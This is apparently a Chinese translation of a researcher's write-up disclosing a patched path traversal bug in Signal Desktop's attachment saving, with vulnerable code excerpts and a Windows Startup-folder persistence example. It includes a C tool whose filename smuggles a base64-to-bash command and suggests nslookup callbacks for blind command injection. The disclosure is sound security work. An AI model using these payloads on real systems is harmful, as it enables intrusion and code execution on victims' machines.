官网:http://securitytech.cc/
Signal 桌面版 在附件保存中存在路径遍历漏洞
摘要
我在 Signal 桌面版的附件保存功能中发现了一个路径遍历漏洞。应用直接使用消息中的附件 fileName 字段,而没有进行清理或校验。因此,攻击者可以构造一个指向用户所选文件夹外部的文件名(例如指向 Windows 的启动文件夹)。当用户保存附件时,Signal 可能会把文件写入该外部位置。攻击者由此能够把文件投放到系统或用户稍后会运行的位置,进而可能导致远程代码执行。
在测试聊天应用时,首先要检查的就是文件处理。
看到 Dzmitry Lukyanenko 关于 Facebook Messenger for Windows 远程代码执行 的报告后(链接省略),我开始测试其它桌面应用,结果令人惊讶:很多桌面应用都有类似的脆弱点。
我花了很多时间在 WhatsApp for Windows 上面,了解到从 Microsoft Store 安装的应用会在 Windows AppContainer 中运行。
什么是 AppContainer 隔离?
隔离是 AppContainer 环境的主要目标。通过把应用与不必要的资源和其它应用隔离开来,可以降低恶意行为的概率。仅给出最小权限访问可以防止应用和用户访问不应允许的资源。控制对资源的访问有助于保护进程、设备和网络。
更多信息见: https[:]//learn.microsoft.com/en-us/windows/win32/secauthz/appcontainer-isolation
我想在 AppContainer 隔离中找到一个 0-day,以便能在 WhatsApp 中利用路径遍历。
是的——我在 WhatsApp for Windows 中找到了路径遍历!
但它不可利用。:(
我写了一个小的 C 程序,使用 syscall() 来创建看起来像恶意的文件名:
#include <fcntl.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>
int main() {
const char *filename = "poc.txt`{echo,ZWNobyAieW91IGhhdmUgcHduZWQgWytdISAi}|{base64,-d}|bash`";
int fd;
printf("[*] Target filename: %s\n", filename);
// Call syscall directly
printf("[*] Calling syscall(SYS_openat)...\n");
fd = syscall(SYS_openat, AT_FDCWD, filename,
O_CREAT | O_WRONLY, 0644);
if (fd < 0) {
printf("[!] Failed to create file: %s\n", strerror(errno));
return 1;
}
printf("[+] File created successfully! fd=%d\n", fd);
const char *data = "h4x0r_dz\n";
ssize_t written = write(fd, data, strlen(data));
if (written < 0) {
printf("[!] Failed to write to file: %s\n", strerror(errno));
close(fd);
return 1;
}
printf("[+] Wrote %zd bytes to file.\n", written);
if (close(fd) < 0) {
printf("[!] Failed to close file: %s\n", strerror(errno));
return 1;
}
printf("[+] File closed successfully.\n");
printf("[*] Done.\n");
return 0;
}
项目: https[:]//github.com/h4x0r-dz/createfiles
这个工具有助于测试系统如何处理文件名;有时你甚至能发现命令注入。 我在一些常见攻击中广泛使用过类似方法,比如近期的 WinRAR 0-day。
作为 Web 渗透测试员,你可以像盲 XSS 那样使用这个手法:在文件名中注入类似 nslookup myhost.com 的恶意命令,然后等待执行回传。
一个真实案例:Palo Alto PAN-OS GlobalProtect: CVE-2024-3400 — 任意文件创建 → 命令注入/RCE(链接省略)
下面是我发给 Signal 安全团队的报告(我用 AI 重写了格式 xD):
Signal Desktop — 附件保存中的路径遍历
执行摘要
我在 Signal 桌面版的附件保存流程中发现路径遍历漏洞。攻击者可以控制附件的文件名,使得当用户保存文件时,Signal 会把文件写到所选文件夹以外的位置(例如写入 Windows 的启动文件夹)。这样攻击者可以放置可能在下一次登录时自动运行的文件,进而可能导致远程代码执行。
根本原因
应用过度信任 attachment.fileName。消息中的文件名直接用于建议文件名并构建保存路径,没有进行路径规范化或校验,无法确保最终路径仍在用户指定的保存目录内。
出问题的流程(简要)
1) 不安全的文件名选择 — ts/types/Attachment.js
getSuggestedFilename() 直接返回 attachment.fileName:
const getSuggestedFilename = (
attachment,
timestamp,
index,
scenario = "saving-locally"
) => {
const { fileName } = attachment;
if (fileName) {
return fileName; // 直接返回不可信输入
}
// 备用逻辑...
};
问题:没有做任何清理。文件名可能包含 ../、..\\,或是绝对路径。
2) 不安全的路径构建 — ts/windows/main/attachments.js
代码直接把 baseDir 和 name 拼接而不校验结果:
filePath = path.join(baseDir, name); // 未检查 filePath 是否仍在 baseDir 内
await writeWithAttributes(filePath, data);
问题:如果 name 可被攻击者控制,path.join 可能产生位于 baseDir 之外的路径。
3) 基于不可信名称的文件系统检查
getUnusedFilename() 使用 path.join(baseDir, filename) 来检查是否存在:
if (baseDir === null || !fs.existsSync(path.join(baseDir, filename))) {
return filename;
}
...
if (!fs.existsSync(path.join(baseDir, nextFilename))) {
return nextFilename;
}
问题:这些检查使用了由不可信输入构建的路径,可能会去检查或泄露位于意图文件夹之外的文件。
4) 弱的危险文件过滤器
isFileDangerous() 仅检查扩展名:
return DANGEROUS_FILE_TYPES.test(fileName); // 仅按扩展名检查
问题:过滤器忽略了路径。攻击者可以使用看似无害的扩展名,同时将路径指向危险位置。
示例攻击 — Windows 启动持久化
攻击者构造的文件名示例:
C:\Users\<username
>\AppData\Roaming\Microsoft\Windows\Start
Menu\Programs\Startup\pwn.txt</username
>
攻击步骤:
- 攻击者发送一个带有该
fileName的附件。 -
- 受害者在 Signal Desktop 中点击 “保存”。
-
- Signal 通过
path.join(baseDir, name)构建路径并写入文件,未检查最终路径是否仍在baseDir内。
- Signal 通过
-
- 文件被写入 Startup 文件夹,可能在下次登录时被执行,从而实现代码执行。
(点击或回车可查看大图)

影响
- 攻击者可以把文件放置到进程有写权限的任意位置。
-
- 这可被用来实现持久化、放置脚本,或在系统后续流程中被利用以从消息升级为代码执行。
为什么在 Signal 可利用而在 WhatsApp 不可?
因为 Signal 不像 WhatsApp 那样在 AppContainer 隔离内运行!
Signal 安全团队在收到报告后很快修补了该漏洞,且确认了我的发现。
(点击或回车可查看大图)
